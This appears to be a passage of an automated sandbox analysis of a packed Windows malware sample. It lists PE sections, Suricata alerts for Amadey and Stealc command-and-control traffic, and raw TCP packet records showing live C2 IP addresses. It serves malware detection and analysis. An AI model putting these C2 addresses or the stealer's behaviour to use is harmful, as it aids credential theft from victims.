	0x24c000	0x2b1000	0x200	0c21d12b5c27455c15e42438a9272066	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tcefzapw	0x4fd000	0x1a8000	0x1a7e00	bc18655d0a669d1b16c5d6bd009937bc	False	0.994760372124742	data	7.953400825161862	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lbfzirwl	0x6a5000	0x1000	0x600	722aae26aa69b86b2975ab19f3dc5859	False	0.5546875	data	4.933013320591033	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a6000	0x3000	0x2200	a9fe267bd37e3366d6e763f6020a2b8d	False	0.06146599264705882	DOS executable (COM)	0.8274537151952865	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6a4a8c	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T05:02:10.469774+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50109	TCP
2024-11-23T05:02:21.251068+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49724	185.215.113.206	80	TCP
2024-11-23T05:02:21.701438+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49724	185.215.113.206	80	TCP
2024-11-23T05:02:21.825581+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49724	TCP
2024-11-23T05:02:22.157130+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49724	185.215.113.206	80	TCP
2024-11-23T05:02:22.279216+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49724	TCP
2024-11-23T05:02:23.606434+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49724	185.215.113.206	80	TCP
2024-11-23T05:02:24.522714+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49724	185.215.113.206	80	TCP
2024-11-23T05:02:47.275582+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-23T05:02:49.392507+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-23T05:02:50.762354+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-23T05:02:51.883378+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-23T05:02:55.491735+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-23T05:02:56.642632+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-23T05:03:02.463855+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49938	185.215.113.16	80	TCP
2024-11-23T05:04:07.248344+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50101	185.215.113.43	80	TCP
2024-11-23T05:04:11.984957+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50113	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 05:02:10.469774008 CET	443	49711	20.198.119.143	192.168.2.6
Nov 23, 2024 05:02:10.471029997 CET	49711	443	192.168.2.6	20.198.119.143
Nov 23, 2024 05:02:10.590645075 CET	443	49711	20.198.119.143	192.168.2.6
Nov 23, 2024 05:02:10.621483088 CET	49673	443	192.168.2.6	173.222.162.64
Nov 23, 2024 05:02:10.637084961 CET	49674	443	192.168.2.6	173.222.162.64
Nov 23, 2024 05:02:10.949593067 CET	49672	443	192.168.2.6	173.222.162.64
Nov 23, 2024 05:02:11.011240959 CET	443	49711	20.198.119.143	192.168.2.6
Nov 23, 2024 05:02:11.058928013 CET	49711	443	192.168.2.6	20.198.119.143
Nov 23, 2024 05:02:12.474512100 CET	443	49712	20.198.118.190	192.168.2.6
Nov 23, 2024 05:02:12.474772930 CET	49712	443	192.168.2.6	20.198.118.190
Nov 23, 2024 05:02:12.480737925 CET	49712	443	192.168.2.6	20.198.118.190
Nov 23, 2024 05:02:12.480746984 CET	443	49712	20.198.118.190	192.168.2.6
Nov 23, 2024 05:02:12.480997086 CET	443	49712	20.198.118.190	192.168.2.6
Nov 23, 2024 05:02:12.496064901 CET	49712	443	192.168.2.6	20.198.118.190
Nov 23, 2024 05:02:12.496114969 CET	49712	443	192.168.2.6	20.198.118.190
Nov 23, 2024 05:02:12.496121883 CET	443	49712	20.198.118.190	192.168.2.6
Nov 23, 2024 05:02:12.496248007 CET	49712	443	192.168.2.6	20.198.118.190
Nov 23, 2024 05:02:12.539360046 CET	443	49712	20.198.118.190	192.168.2.6
Nov 23, 2024 05:02:13.047349930 CET	443	49712	20.198.118.190	192.168.2.6
Nov 23, 2024 05:02:13.047943115 CET	443	49712	20.198.118.190	192.168.2.6
Nov 23, 2024 05:02:13.048015118 CET	49712	443	192.168.2.6	20.198.118.190
Nov 23, 2024 05:02:13.048439980 CET	49712	443	192.168.2.6	20.198.118.190
Nov 23, 2024 05:02:13.048460960 CET	443	49712	20.198.118.190	192.168.2.6
Nov 23, 2024 05:02:13.048475981 CET	49712	443	192.168.2.6	20.198.118.190
Nov 23, 2024 05:02:13.681418896 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:13.681464911 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:13.681649923 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:13.681874990 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:13.681891918 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:15.488625050 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:15.488765955 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:15.491189957 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:15.491202116 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:15.491518021 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:15.501455069 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:15.543385983 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:15.963649988 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:15.963712931 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:15.963753939 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:15.963866949 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:15.963866949 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:15.963881016 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:15.963932991 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.154007912 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.154073000 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.154100895 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.154113054 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.154290915 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.197077990 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.197189093 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.197212934 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.197222948 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.197266102 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.197277069 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.334722996 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.334794998 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.334842920 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.334853888 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.334934950 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.334934950 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.370064020 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.370088100 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.370300055 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.370313883 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.370383978 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.391459942 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.391484022 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.391560078 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.391570091 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.391625881 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.409812927 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.409837008 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.410038948 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.410048008 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.410108089 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.531775951 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.531797886 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.531893015 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.531904936 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.531920910 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.531949997 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.546134949 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.546181917 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.546228886 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.546235085 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.546281099 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.546374083 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.561939001 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.561961889 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.562036991 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.562045097 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.562124968 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.577843904 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.577864885 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.577955008 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.577961922 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.577991009 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.578072071 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.592662096 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.592681885 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.592756987 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.592765093 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.592865944 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.592866898 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.608647108 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.608668089 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.608736992 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.608753920 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.608768940 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.608817101 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.613265038 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.613338947 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.613348007 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.613420010 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.613549948 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.613549948 CET	49713	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.613570929 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.613583088 CET	443	49713	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.672830105 CET	49714	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.672875881 CET	443	49714	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.672945976 CET	49714	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.673676014 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.673707008 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.673768997 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.674133062 CET	49714	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.674148083 CET	443	49714	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.674830914 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.674877882 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.674933910 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.674947023 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.674974918 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.675086975 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.675101995 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.675885916 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.675960064 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.676019907 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.676573038 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.676593065 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.676681995 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.676904917 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.676920891 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:16.677042007 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:16.677077055 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.398921967 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.399389029 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.399409056 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.399868011 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.399873018 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.469074011 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.469552994 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.469614029 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.470030069 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.470043898 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.479556084 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.479851007 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.479863882 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.480236053 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.480240107 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.483339071 CET	443	49714	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.483697891 CET	49714	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.483722925 CET	443	49714	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.484052896 CET	49714	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.484060049 CET	443	49714	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.527592897 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.528069019 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.528085947 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.528347969 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.528352976 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.838711977 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.838771105 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.838821888 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.838841915 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.839046001 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.839059114 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.839337111 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.839469910 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.839559078 CET	443	49716	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.839658976 CET	49716	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.843283892 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.843390942 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.843473911 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.843628883 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.843647957 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.917232990 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.917257071 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.917321920 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.917347908 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.917403936 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.917675018 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.917675018 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.917692900 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.917861938 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.917893887 CET	443	49717	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.917939901 CET	49717	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.923578978 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.923645020 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.923712015 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.923856020 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.923856020 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.923872948 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.923882008 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.924330950 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.924369097 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.924426079 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.925237894 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.925251007 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.927176952 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.927265882 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.927335024 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.927582026 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.927639961 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.955679893 CET	443	49714	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.955750942 CET	443	49714	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.955805063 CET	49714	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.955823898 CET	443	49714	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.955869913 CET	49714	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.961523056 CET	443	49714	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.961654902 CET	443	49714	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.961714029 CET	49714	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.967334032 CET	49714	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.967353106 CET	443	49714	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.967366934 CET	49714	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.967374086 CET	443	49714	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.970267057 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.970303059 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.970388889 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.970498085 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.970505953 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.978830099 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.978899002 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.978945017 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.979554892 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.979554892 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.979568958 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.979582071 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.982012987 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.982057095 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:18.982142925 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.982316971 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:18.982343912 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:19.052056074 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:19.171518087 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:19.171717882 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:19.184781075 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:19.305639982 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:20.230793953 CET	49673	443	192.168.2.6	173.222.162.64
Nov 23, 2024 05:02:20.246457100 CET	49674	443	192.168.2.6	173.222.162.64
Nov 23, 2024 05:02:20.558983088 CET	49672	443	192.168.2.6	173.222.162.64
Nov 23, 2024 05:02:20.708209991 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:20.712127924 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:20.712275028 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:20.737273932 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:20.762083054 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:20.777704000 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:20.785226107 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:20.785259008 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:20.785927057 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:20.785933971 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:20.789407969 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:20.807923079 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:20.807959080 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:20.812295914 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:20.812304020 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:20.887651920 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:20.908893108 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:20.909277916 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:20.909308910 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:20.913696051 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:20.913702011 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:20.917380095 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:20.918107986 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:20.918175936 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:20.922410965 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:20.922427893 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:20.950613022 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:20.965996981 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:20.966006994 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:20.966449022 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:20.966454029 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.144886017 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.144984007 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.145046949 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.145961046 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.145998001 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.146027088 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.146039963 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.149225950 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.149311066 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.149384975 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.149641991 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.149672985 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.190452099 CET	443	49721	13.107.246.63	192.168.2.6
